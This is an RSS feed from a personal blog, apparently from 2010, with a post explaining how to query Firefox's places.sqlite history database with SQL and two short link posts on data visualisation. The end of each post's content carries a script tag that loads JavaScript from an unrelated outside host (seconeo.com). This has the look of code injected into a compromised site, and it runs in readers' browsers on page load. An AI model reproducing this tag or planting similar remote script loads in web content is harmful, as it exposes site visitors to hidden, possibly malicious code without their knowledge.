<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>random() &#187; Data visualisation</title>
	<atom:link href="http://blog.maxgarfinkel.com/archives/category/data-visualisation/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.maxgarfinkel.com</link>
	<description>All sorts, who knows?</description>
	<lastBuildDate>Thu, 19 Aug 2010 20:07:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Firefox places.sqlite</title>
		<link>http://blog.maxgarfinkel.com/archives/151</link>
		<comments>http://blog.maxgarfinkel.com/archives/151#comments</comments>
		<pubDate>Wed, 27 Jan 2010 14:53:45 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Data visualisation]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=151</guid>
		<description><![CDATA[Firefox stores your web browsing history in a sqlite db. On windows you can find it in:  Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\xyz.default\. On the mac it is in your home folder: Library/Application support/Mozilla/. There is a great addon for firefox called SQLite Manager which allows you to run SQLite queries. Using this you can look at [...]]]></description>
			<content:encoded><![CDATA[<p>Firefox stores your web browsing history in a sqlite db. On windows you can find it in:  <span style="color: #999999;">Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\xyz.default\</span>. On the mac it is in your home folder: <span style="color: #999999;">Library/Application support/Mozilla/</span>.</p>
<p>There is a great addon for firefox called <a title="SQLite Manager" href="http://code.google.com/p/sqlite-manager/" target="_blank">SQLite Manager</a> which allows you to run SQLite queries. Using this you can look at the places.sqlite file, which contains your web history data. I am particulalry interested in looking at the paths I take and the following query will pull out pairs of target-&gt;referer pages.</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> plc2<span style="color: #66cc66;">.</span>url <span style="color: #993333; font-weight: bold;">AS</span> <span style="color: #ff0000;">'referer'</span><span style="color: #66cc66;">,</span> plc1<span style="color: #66cc66;">.</span>url <span style="color: #993333; font-weight: bold;">AS</span> <span style="color: #ff0000;">'target'</span>
<span style="color: #993333; font-weight: bold;">FROM</span> moz_historyvisits vis<span style="color: #66cc66;">,</span> moz_historyvisits vis2
<span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> moz_places plc1
<span style="color: #993333; font-weight: bold;">ON</span> plc1<span style="color: #66cc66;">.</span>id <span style="color: #66cc66;">=</span> vis<span style="color: #66cc66;">.</span>place_id
<span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> moz_places plc2
<span style="color: #993333; font-weight: bold;">ON</span> plc2<span style="color: #66cc66;">.</span>id <span style="color: #66cc66;">=</span> vis2<span style="color: #66cc66;">.</span>place_id
<span style="color: #993333; font-weight: bold;">WHERE</span> vis<span style="color: #66cc66;">.</span>from_visit <span style="color: #66cc66;">=</span> vis2<span style="color: #66cc66;">.</span>id</pre></div></div>

<p>There is a wealth of information in this little file, the visit_type column, for example gives you an indicator of how the URL was reached.</p>
<table>
<tbody>
<tr>
<th>Type</th>
<th>ID</th>
<th>description</th>
</tr>
<tr>
<td>TRANSITION_LINK</td>
<td>1</td>
<td>This transition type means the user followed a link and got a new toplevel window.</td>
</tr>
<tr>
<td>TRANSITION_TYPED</td>
<td>2</td>
<td>This transition type is set when the user typed the URL to get to the page.</td>
</tr>
<tr>
<td>TRANSITION_BOOKMARK</td>
<td>3</td>
<td>This transition type is set when the user followed a bookmark to get to the page.</td>
</tr>
<tr>
<td>TRANSITION_EMBED</td>
<td>4</td>
<td>This transition type is set when some inner content is loaded. This is true of all images on a page, and the contents of the iframe. It is also true of any content in a frame, regardless if whether or not the user clicked something to get there.</td>
</tr>
<tr>
<td>TRANSITION_REDIRECT_PERMANENT</td>
<td>5</td>
<td>This transition type is set when the transition was a permanent redirect.</td>
</tr>
<tr>
<td>TRANSITION_REDIRECT_TEMPORARY</td>
<td>6</td>
<td>This transition type is set when the transition was a temporary redirect.</td>
</tr>
<tr>
<td>TRANSITION_DOWNLOAD</td>
<td>7</td>
<td>This transition type is set when the transition is a download.</td>
</tr>
</tbody>
</table>
<p>For more information on this you can view the <a title="Mozilla developer pages web history info" href="https://developer.mozilla.org/en/NsINavHistoryService" target="_blank">Mozilla dev pages</a> and the full <a title="Places api for firefox" href="https://developer.mozilla.org/en/Places" target="_blank">places system</a> within firefox is documented <a title="places api for firefox" href="https://developer.mozilla.org/en/Places" target="_blank">over here. </a></p>
<p>A wealth of further information on this DB is available over at <a title="Firefox places.sqlite information" href="http://www.firefoxforensics.com/research/index.shtml" target="_blank">firefox forensics</a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/151/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>information aesthetics &#8211; Information Visualization &amp; Visual Communication</title>
		<link>http://blog.maxgarfinkel.com/archives/140</link>
		<comments>http://blog.maxgarfinkel.com/archives/140#comments</comments>
		<pubDate>Fri, 06 Nov 2009 13:16:55 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Data visualisation]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=140</guid>
		<description><![CDATA[Good source of serious and wimsical data viz information aesthetics &#8211; Information Visualization &#38; Visual Communication.]]></description>
			<content:encoded><![CDATA[<p>Good source of serious and wimsical data viz</p>
<p><a href="http://infosthetics.com/">information aesthetics &#8211; Information Visualization &amp; Visual Communication</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/140/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Data Visualization: Modern Approaches « Smashing Magazine</title>
		<link>http://blog.maxgarfinkel.com/archives/128</link>
		<comments>http://blog.maxgarfinkel.com/archives/128#comments</comments>
		<pubDate>Thu, 08 Oct 2009 12:53:04 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Data visualisation]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=128</guid>
		<description><![CDATA[Some wonderful approaches to data visualisation Data Visualization: Modern Approaches « Smashing Magazine.]]></description>
			<content:encoded><![CDATA[<p>Some wonderful approaches to data visualisation</p>
<p><a href="http://www.smashingmagazine.com/2007/08/02/data-visualization-modern-approaches/">Data Visualization: Modern Approaches « Smashing Magazine</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/128/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
